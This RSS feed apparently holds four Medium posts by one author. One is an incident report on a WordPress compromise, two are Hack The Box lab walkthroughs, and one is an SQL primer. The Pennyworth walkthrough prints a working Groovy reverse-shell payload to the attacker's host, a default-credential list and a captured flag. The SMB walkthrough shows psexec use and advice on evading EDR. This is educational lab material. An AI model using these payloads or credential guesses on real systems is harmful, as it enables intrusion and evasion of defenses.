<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Bismark on Medium]]></title>
        <description><![CDATA[Stories by Bismark on Medium]]></description>
        <link>https://medium.com/@bismarkkyere?source=rss-fd93a28378d4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*C4CeO7oa0YDSepWx9TVMyw.png</url>
            <title>Stories by Bismark on Medium</title>
            <link>https://medium.com/@bismarkkyere?source=rss-fd93a28378d4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 03:50:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bismarkkyere/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Tracing a WordPress Compromise After a Firewall Malware Warning]]></title>
            <link>https://medium.com/@bismarkkyere/tracing-a-wordpress-compromise-after-a-firewall-malware-warning-e30c561283fd?source=rss-fd93a28378d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/e30c561283fd</guid>
            <dc:creator><![CDATA[Bismark]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 10:27:57 GMT</pubDate>
            <atom:updated>2026-11-18T14:12:32.483Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A field note on a fake caching plugin, a web shell in uploads, and a backup that already contained traces of the compromise.</em></p><p>The first alert came from the firewall. FortiGuard and other firewall web filters were flagging the website as serving malware. We tried to clear the issue, but the warnings persisted. On Saturday evening, we restored the website from backup.</p><p>On Monday, I went through the files on the web server. A few PHP filenames caught my eye, including hello.php. I installed Wordfence and ran a scan. The results flagged several files, including the hello.php I’d already noticed. I downloaded the flagged files and submitted the copies for analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*HeD2-VLA4kmNdMixORN2dA.png" /></figure><p>That review cleared up an important detail. The hello.php I’d seen was clean. A different file, wp-content/uploads/hello-elementor.php, contained a password-protected file manager. The similar names made the full path worth recording. The same review also turned up something less obvious at the end of the active theme’s functions.php.</p><h3>My admin session skipped the interesting part.</h3><p>Just below the Hello Elementor theme initialization, two extra lines registered a function called theme_compatibility_check on wp_head. The first thing I looked at was its return condition. If the current user had the manage_options capability, execution stopped there. My administrator account met that condition.</p><p>For other visitors, the function read _transient_feed_mod_943845e8 from the WordPress options table. It hex-decoded the value, applied a repeating XOR key, and wrote the result into the page head. If the decoded content contained a script tag, the function added a data-no-optimize attribute before printing it.</p><p>My initial database review had turned up nothing obvious. Now I had an exact option name to look for and an explanation for why a plain-text search for a suspicious URL could miss it. I also had a concrete problem with my test procedure. Opening the homepage in another tab while signed in would skip the very code I wanted to observe.</p><p>During testing, the homepage loaded normally on my laptop in Ghana. From a server outside the country, the same URL displayed a verification prompt. The theme code gave me a reason to compare browser sessions, but it contained no country check. Without a matching copy of the content served during that visit, I couldn’t tie the prompt or the firewall verdict to those two lines.</p><h3>What would put those two lines back?</h3><p>Two files shared the name object-cache-compat.php. Their paths differed by one directory:</p><ul><li>wp-content/mu-plugins/object-cache-compat.php</li><li>wp-content/uploads/mu-plugins/object-cache-compat.php</li></ul><p>That extra uploads/ mattered. WordPress automatically loads top-level PHP files in its standard must-use plugin directory. Naming a folder mu-plugins somewhere under uploads doesn’t give it the same behavior.</p><p>The fake caching plugin checked the active theme’s functions.php for the injected function. If it was missing, the plugin could write it back. The check ran on init, with a transient limiting it to once per five-minute window. Five minutes was the throttle, not a guaranteed reinfection time. An eligible request still had to run the hook. The plugin also registered an hourly event called wp_cache_garbage_collection.</p><p>I followed the database references next. The plugin could reconstruct the encoded option from three fragments with names resembling WooCommerce order statistics. It also kept copies in post metadata. That answered a practical cleanup question. Editing the theme would leave the code that could rewrite it. Deleting the main option would leave the data needed to rebuild it.</p><p>A quick retest could therefore give me two reasons to declare success too early. The repair check might not have run yet, and my administrator session would skip the injected output anyway.</p><h3>A 404 in the browser, a file manager on disk</h3><p>The file under wp-content/uploads/hello-elementor.php was about 12 KB. The name was borrowed from the active theme. The separate hello.php we reviewed was clean.</p><p>Reading the uploads file explained why an ordinary browser request returned a 404. The PHP itself issued that response when the expected credential was missing. Behind that check was a file manager with upload, edit, rename, and delete operations. Its reach depended on the filesystem permissions of the PHP process.</p><p>That was enough to identify the file as a web shell. It gave someone with the credentials a way back into the site. It didn’t tell me how they got the file there. For that, I wanted a transfer record naming the file, or access and authentication logs that could tie a file-changing action to a particular session.</p><h3>What the cache actually showed</h3><p>One of the most useful artifacts was an ordinary index.html from the staging site’s page cache. It advertised a free premium template and claimed 41,376 votes. In the HTML, a block positioned 15,000 pixels off-screen held roughly 350 links to about 275 Turkish betting sites. Farther down the page, one-pixel footer text at two percent opacity linked the fake download pages to each other.</p><p>The cached response preserved the spam and the styling used to conceal it. A screenshot could easily have missed both. What I still lacked was a copy of the decoded database value from the time that page was generated. Without it, I couldn’t make a byte-for-byte match between the theme output and the hidden link block. I also hadn’t identified the component that created the download URLs.</p><h3>How it probably got in</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wg-dCTeRvpwE4oDIHlAESQ.png" /></figure><h3>How far back did the compromise go?</h3><p>The shell showed a modification time of 8 January 2026 at 09:01. The download page’s metadata gave a publication time about four hours later. The modified theme carried a timestamp from the evening of the November restore. Those dates gave me useful windows for a log review. A restored file can retain its old timestamp, though, and a date embedded in a page is only as reliable as the code that supplied it.</p><p>The backup gave us firmer ground. It already contained signs of compromise when we examined it. The site had been affected by the time that backup was taken. January was a lead worth pursuing, but I couldn’t date the initial intrusion to 09:01 on the strength of a file modification time.</p><p>During containment, we removed the web shell and both copies of object-cache-compat.php. The connections we were monitoring stopped afterremoval. We also configured blocking in Wordfence. Since we removed all three files together.</p><p>The remaining recovery question was which copy we could trust. For each candidate archive, I’d want to check the must-use plugin directory, the uploads tree, the end of the active theme file, and the corresponding database entries. I’d keep the cached HTML alongside those findings. It answered a question the PHP alone couldn’t settle: what content had actually made it into a generated page?</p><h3>Check your own site</h3><p>If any of these turn up, treat the whole hosting account as compromised. Names and keys may differ from site to site, so look for the pattern as well as the exact string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*I-lRD1LA98tYcz-JgXUf9Q.png" /></figure><h3>Takeaways</h3><ul><li><strong>A restore is not a cleanup.</strong> It brings back whatever the backup holds, and it can leave the attacker’s files in place.</li><li><strong>This malware was a system, not a file.</strong> The plugin, the theme code, and the database fragments each covered for the others, so removing one piece achieved nothing.</li><li><strong>Look at your site the way strangers see it.</strong> The injection skipped administrators by design; a logged-out view of the page source showed it at once.</li><li><strong>Staging sites deserve production-grade care.</strong> Better still, keep them off the public internet entirely.</li></ul><p>Sources</p><p><a href="https://www.netcraft.com/blog/how-fraudsters-are-poisoning-search-results-to-promote-phishing-sites">https://www.netcraft.com/blog/how-fraudsters-are-poisoning-search-results-to-promote-phishing-sites</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e30c561283fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting SMB Misconfigurations: Hack The Box Tactics]]></title>
            <link>https://medium.com/@bismarkkyere/exploiting-smb-misconfigurations-hack-the-box-tactics-30527c7d8a89?source=rss-fd93a28378d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/30527c7d8a89</guid>
            <dc:creator><![CDATA[Bismark]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 15:00:22 GMT</pubDate>
            <atom:updated>2025-03-06T15:00:22.033Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Windows remains one of the most widely used operating systems, making it a prime target for attackers. Misconfigured services, such as <strong>Server Message Block (SMB)</strong>, can lead to severe security vulnerabilities. In this walkthrough, we explore two approaches to exploiting SMB misconfigurations: <strong>direct file access</strong> and <strong>remote code execution via Impacket</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*ERuCtHZ9rC3fStvaJLl2IQ.jpeg" /></figure><h3>Enumeration</h3><p>We begin by scanning the target for open ports using <strong>nmap</strong>: nmap -Pn -sC {target_IP}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*GYcnYxKQ1be6n6Y6P2H0sg.png" /></figure><p>The -Pn flag skips host discovery, helping us evade firewall detection. The scan reveals that <strong>port 445 (SMB)</strong> is open, indicating a possible entry point.</p><p>we use <strong>smbclient</strong> to list available shares: <em>smbclient -L \\{target_IP} -U Administrator</em></p><p>When prompted for a password, we attempt a <strong>blank login</strong> by pressing Enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*Do8GsWg0DjQQ1zDltF4X5A.png" /></figure><h3>Exploiting Unprotected SMB Share</h3><p>From here we have two options of attack. One is loud, one is not.</p><p><strong>Option A:</strong> Smbclient simple navigation to C$ share with Administrator authorization.<br><strong>Option B:</strong> PSexec.py from Impacket, involving Impacket installation and common attack surface, big<br>fingerprinting.</p><p><strong>Option A: SMB Unprotected C$ Share</strong></p><p>If the C$ (root file system) share is accessible, we can navigate and retrieve sensitive files:</p><p>smbclient \\{target_IP}\C$ -U Administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JKegC4lAW0MuxS8SX1HFrA.png" /></figure><p>Using the dir command, we list files within</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*Us3hcCgi6TEXt2CgG9AsqQ.png" /></figure><p>Use Cd <em>C:\Users\Administrator\Desktop</em>, to navigate to where the flag located:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*yPtMXcbbNn3zdSkf9RQU6w.png" /></figure><p>Use the command <em>get </em>download the flag onto our local machine</p><p><em>get flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A28oSMMZjPyzfSxpB2xAxw.png" /></figure><h3>Option B: Exploiting SMB with Impacket’s psexec.py</h3><p>Impacket is a collection of Python libraries designed for network protocol interaction, specifically focused on handling low-level Windows networking protocols. It enables security professionals to craft and manipulate network packets for tasks like SMB, NTLM authentication, and remote command execution. Impacket is widely used in penetration testing and red team activities.</p><h3>psexec.py</h3><p>psexec.py is one of Impacket&#39;s tools that mimics the behavior of Microsoft&#39;s PsExec utility. It allows remote command execution on Windows systems over SMB using valid credentials. Attackers and security testers use psexec.py to execute commands with SYSTEM privileges on a remote machine, making it a powerful tool for lateral movement in networks.</p><p>NB:<em> If we have write access to the </em><strong><em>ADMIN$ share</em></strong><em>, we can gain a </em><strong><em>SYSTEM shell</em></strong><em> using Impacket’s </em><em>psexec.py tool. First, we install Impacket:</em></p><p>First you have to download impacket from this github line below</p><p>git clone <a href="https://github.com/SecureAuthCorp/impacket.git">https://github.com/SecureAuthCorp/impacket.git</a><br>cd impacket<br>pip3 install .</p><p>OR:<br>sudo python3 setup.py install<br><em># In case you are missing some modules</em>:<br>pip3 install -r requirements.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*P-LCvJtiNgK1GzAA_z-kIQ.png" /></figure><p>Then, we use psexec.py to execute a shell on the target:</p><p><em>python3 psexec.py administrator@{target_IP}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jWGq_A6ieIOG64zKSOKmQ.png" /></figure><p>From here you can navigate to desktop and locate the flag.txt</p><h3>Conclusion</h3><p>This walkthrough demonstrates how misconfigured SMB shares can provide attackers with unauthorized access. Organizations must enforce <strong>strong access controls, disable unused services, and monitor login attempts</strong> to mitigate such risks.<br>However, using the pkexec utility is often preferred in simulated testing environments, but it can be easily detected by the Windows Defender or other EDR products in real-world assessments. You can obfuscate to evade detection or use WMI interface to avoid detections.</p><p>Congratulations on capturing the flag!</p><p>REFERENCES:</p><p>HackTheBox<br><a href="https://attack.mitre.org/software/S0357/">https://attack.mitre.org/software/S0357/</a><br><a href="https://www.crowdstrike.com/en-us/cybersecurity-101/small-business/cyber-attacks-on-smbs/">https://www.crowdstrike.com/en-us/cybersecurity-101/small-business/cyber-attacks-on-smbs/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30527c7d8a89" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pennyworth Walkthrough]]></title>
            <link>https://medium.com/@bismarkkyere/pennyworth-walkthrough-da4e6f64c435?source=rss-fd93a28378d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/da4e6f64c435</guid>
            <dc:creator><![CDATA[Bismark]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 11:39:36 GMT</pubDate>
            <atom:updated>2025-03-06T11:39:36.817Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In the cybersecurity landscape, identifying and exploiting vulnerabilities is a crucial skill. In this blog, we’ll walk through a real-world scenario, exploring enumeration, gaining foothold access, and ultimately capturing the flag. Our target runs a Jenkins service, which we will leverage for remote command execution (RCE).</p><h3>Enumeration</h3><p>We start with an <strong>nmap</strong> scan to discover open ports and services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XwIuWccjwuAeT1wDke37uQ.png" /></figure><p>From the scan, we find <strong>Jetty 9.4.39.v20210325</strong> running on port <strong>8080</strong>, hosting a Jenkins service. Accessing it via the browser:</p><p><a href="http://{target_ip}:8080/">http://{target_IP}:8080/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zzwIdglutx3hukuJkWwrjQ.png" /></figure><h3>Gaining Foothold</h3><p>Jenkins often has weak credentials, so we attempt common login pairs:</p><pre>admin:password<br>admin:admin<br>root:root<br>root:password<br>admin:admin1<br>admin:password1<br>root:password1</pre><p>Checking the <strong>Manage Jenkins &gt; Script Console</strong>, we find an opportunity for RCE by executing a Groovy script.</p><h3>Exploiting Jenkins for RCE</h3><p>We use a reverse shell payload to gain a shell on the target system:</p><pre>String host=&quot;{your_IP}&quot;;<br>int port=8000;<br>String cmd=&quot;/bin/bash&quot;;<br>Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new<br>Socket(host,port);<br>InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();<br>OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())<br>{while(pi.available()&gt;0)so.write(pi.read());while(pe.available()&gt;0)so.write(pe.read());whi<br>le(si.available()&gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try<br>{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*596yAw31EHXbT17JJOTT_A.png" /></figure><p>Meanwhile, we set up a <strong>netcat</strong> listener on our machine:</p><pre>nc -lvnp 8000</pre><p>Executing the script initiates a reverse shell connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*Q07Ao9NijGhHdqydZ6-a9Q.png" /></figure><h3>Capturing the Flag</h3><p>Once inside, we confirm access using:</p><pre>whoami<br>id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*iqjcMJqDp7EYWHW0pVlP9A.png" /></figure><p>We navigate to the /root directory and retrieve the flag:</p><pre>cat /root/flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*w_S1eof6PXL-pXSkB2lu8w.png" /><figcaption>9cdfb439c7876e703e307864c9167a15</figcaption></figure><h3>Conclusion</h3><p>This exercise highlights the importance of securing services like Jenkins to prevent unauthorized access. Always enforce strong credentials, update services, and monitor activity to mitigate threats.</p><p>Congratulations on capturing the flag!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da4e6f64c435" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Subset]]></title>
            <link>https://medium.com/@bismarkkyere/sql-subset-9f04ddd5aab3?source=rss-fd93a28378d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f04ddd5aab3</guid>
            <category><![CDATA[cloud-data]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[data-science]]></category>
            <dc:creator><![CDATA[Bismark]]></dc:creator>
            <pubDate>Tue, 30 Aug 2022 09:17:08 GMT</pubDate>
            <atom:updated>2022-08-30T09:17:08.223Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xeOA7rZcxbnTpV4Cl0f0QA.jpeg" /></figure><p><strong>DDL</strong> — DDL as the name says helps you define data in your database. commands include: Drop, create)</p><blockquote><strong>CREATE Command</strong><br><strong>Purpose</strong>: To create the database or tables inside the database<br>Syntax to create a table with three columns:<br>CREATE TABLE table_name (column_name1 datatype(size), column_name2 datatype(size), column_name3 datatype(size));<br>CREATE TABLE STUDENTS(FIRSTNAME VARCHAR(255), lASTNAME VARCHAR(255), PROGRAM VARCHAR(50));</blockquote><blockquote>DROP Command<br>Purpose: To delete a database or a table inside the database.<br>Syntax to drop a table:<br>DROP TABLE table_name;<br>DROP TABLE Students</blockquote><p>DML — Data manipulation language or DML commands are used to manipulate data in the database, like inserting updating or deleting data (Inserting, Updating, Deleting)</p><blockquote><strong>SELECT Command<br>Purpose</strong>: To retrieve data from tables in the database.<br>Syntax to select data from a table: SELECT * FROM table_name;<br>SELECT * FROM STUDENTS;<br><strong>NB: * Represents zero or more characters</strong></blockquote><p><strong>INSERT Command</strong><br><strong>Purpose</strong>: To add records of data into an existing table. <br>Syntax to insert data into three columns in a table:<br>INSERT INTO table_name (column1, column2, column3) VALUES (value1, value2, value3);<br>INSERT INTO STUDENTS(FIRSTNAME, LASTNAME, PROGRAM)(“bismark”, “Kyeremateng”, “AWS DB Engineering”</p><p>DQL — DQL defines a select command to be able to retrieve data. Select lets you retrieve data from one or multiple tables letting you specify the data fields that you want based on preferred filter criteria( Select)</p><p>DCL — Data control language to control access to the database. For example, using DCL commands, you control access to data stored in the database. Grant and revoke DDL commands are used to give users access privileges to data, and to revert access privileges already given to users.</p><blockquote>GRANT Command to provide the user of the database with the privileges required to allow users to access and manipulate the database.</blockquote><blockquote>REVOKE Command to remove permissions from any user</blockquote><p><strong>Merits</strong><br>SQL is a portable language which can be executed on any hardware running any operating system.</p><p>SQL can be used to perform a wide range of useful database operations.</p><p>SQL is a standard language that works with all relational databases. This means that there’s a lot of support and information available for SQL users.</p><p>SQL is a user-friendly language that requires zero to little coding skills as it relies mostly on a set of keywords.​</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f04ddd5aab3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>